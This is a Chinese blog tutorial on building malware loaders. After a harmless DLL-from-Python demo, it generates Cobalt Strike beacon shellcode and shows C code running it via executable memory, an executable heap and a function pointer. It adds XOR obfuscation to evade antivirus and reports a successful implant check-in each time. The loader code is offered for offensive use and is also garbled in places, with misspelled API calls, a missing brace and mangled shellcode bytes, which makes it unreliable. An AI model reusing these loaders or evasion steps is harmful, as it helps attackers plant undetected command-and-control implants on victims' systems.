内网渗透-DLL和C语言加载木马

免杀进阶技术

1、DLL的定义与使用

DLL:Dynamic Link library,动态链接库,是一个无法自己运行,需要额外的命令或程序来对其接口进行调用(类方法、函数)。

(1)在DevCpp中创建一个DLL项目

(2)在dllmain.c中定义源代码函数接口

复制代码
#include "dll.h"
#include windows. h

DLLIMPORT void Helloworld()
{
    MessageBox (0, "Hello World from DLL! \n", "Hi" ,MB_ICONINFORMATION):
}

DLLIMPORT int Calculate (int a, int b) {
    int result = a + b;
    return result;
}

(3)在dll.h的头文件中声明函数接口

复制代码
DLLIMPORT void Helloworld();
DLLIMPORT int Calculate(int a, int b);

(4)在Python中调用DLL函数接口

没有编译之前都是源代码

当我们点击编译

发现编译无错误,编译成功

编译一旦成功,这里就会生成一个DLL文件

由于DLL只是供别人调用的一个函数库,所以自己本身是不能运行的

如果我们直接点击运行,会告诉我们没有提供主程序,那么是没有办法进行运行的,它只是写好给别的程序调

然后将这个dll文件复制到我们的python目录下来,然后我们就可以在python当中进行调用了

然后我们创建一个dlltest.py,开始写入代码

复制代码
import ctypes

#加载DLL文件
func = ctypes.CDLL("./MyDLLDemo.dll")

#调用函数
func.HelloWorld()

运行这段代码,运行结果如下:

然后我们再调用一个函数

复制代码
result = func.Calculate(100,200)
print(result)

运行结果如下:

2、C语言加载ShellCode

1、在MSF或CS中生成C语言的ShellCode

unigned 叫无符号型(没有负数位),有符号位:-128-127,无符号:0-255

char buf\[\] 表示定义了一个字符数组(也可以看成是字符串,C语言没有内置字符串类型),在c语言中也可以用字符指针进行定义

我们使用32位的,不适用64位的

然后选择HTTP_Beacon

保存到Muma18的目录底下去

然后打开payload.c,这就是一个C语言版本的CS的payload

2、在C语言中对其进行加载实现CS上线

我们新建一个C语言的可执行项目,名称叫做RunCS

将我们生成的payload输入进去

编译没有报错

然后运行,没有报错

然后发现上线成功

运行代码的时候,文件夹里会出现可执行程序RunCS.exe

这种程序不会免杀的

3、C语言加载调用shellcode的几种方式

复制代码
//第一种加载:申请内存加载
void *p = Virtualalloc (NULL, sizeof (enc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcdy(p,enc,sizeof(enc));
CODE code = (CODE) p;
code();
}


//第二种加载:堆加载
HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(enc)) ;
memcpy (exec, enc, sizeof(enc));
((void (*) ()) exec) () ;


//第三种加载:函数指针加载
((void (*) (void)) & enc) () ;

使用内存加载的方式

然后我们编译运行,发现没有问题,说明编译成功

上线成功

使用堆加载的方式

编译运行成功

成功上线

将这几种代码整合起来,如下:

复制代码
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

typedef void (__stdcall *CODE) () ;

/* run this program using the console pauser or add your own getch, system("pause") or input loop */

unsigned char buf [] = "'xfc\xe8\×89\×00\x00\×00\×60\×89\xe5\×31\xd2\×64\x8b\×52";


void start () {
    申请内存加载
    /*
    void *p = Virtualalloc(NULL, sizeof (buf), MEM_COMMIT | MEM_RESERVE,                         PAGE_EXECUTE_READWRITE);
    memcpy (p, buf, sizeof(buf));
    CODE code = (CODE) p;
    code();
    */
    
    堆加载
    HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* exec = HeapAlloc (myHeap, HEAP_ZERO_MEMORY, sizeof (buf));
    memcpy (exec, buf, sizeof(buf));
    ((void (*) ()) exec) () ;
    
    函数指针加载
    /* ((void(*) (void)) & buf) (); */

int main(int arge, char targv[]) {
    start();
    return 0;
}

以上加载器不免杀

3、尝试对ShellCode进行代码混淆

对我们的shellcode进行异或处理,然后打印到控制台上去

编译成功,说明没有错误

然后运行,成功打印,正常输出异或加密处理过的shellcode,相当于做了一个代码混淆

得到了加密的之后,我们就来解密

将加密的ShellCode放到一个字符数组里面去,然后调用下面的代码,使用函数指针加载的方式去加载调用解密之后的ShellCode

编译运行成功

上线成功

相关推荐
dialect_17 小时前
KMP算法
开发语言·c++·算法
总要学点什么18 小时前
第89篇:三维特效-螺旋圆效果——让螺旋臂卷起一圈圈外扩的涟漪
开发语言·javascript·ecmascript·webgl·cesium·空间分析·1024程序员节
开开心心_Every19 小时前
快速隐藏程序工具自定义快捷键一键切换
java·开发语言·前端·spring·智能手机·word·intellij-idea
chenbingjie_c19 小时前
C++ 多态完全指南:从虚函数重写到虚函数表原理
开发语言·c++
吴卫斌20 小时前
定投ETF实战指南(四):行业/主题ETF——定投的“进攻端“
开发语言·python·股票·量化
·present·20 小时前
CSAPP(Bomb lab)
c语言·c++
超级架构师21 小时前
PRAXO-CORE 2.5.0:用 conformance 和显式边界构建 Go Agent 框架
开发语言·人工智能·后端·golang·ai编程·智能体框架·praxo-core
叼烟扛炮21 小时前
Linux 学习笔记(四十三):网络编程进阶——自定义协议解决 TCP 粘包与守护进程
linux·开发语言·网络·笔记·tcp/ip
LMT流氓兔1 天前
第五单元——第十六课:给书店助手加上网页界面
java·开发语言·jvm·人工智能·oracle·langchain·1024程序员节
专注仿真1 天前
梯度提升类(XFBoost)算法详解与代码实例
开发语言·人工智能·python·算法·大模型训练·控制算法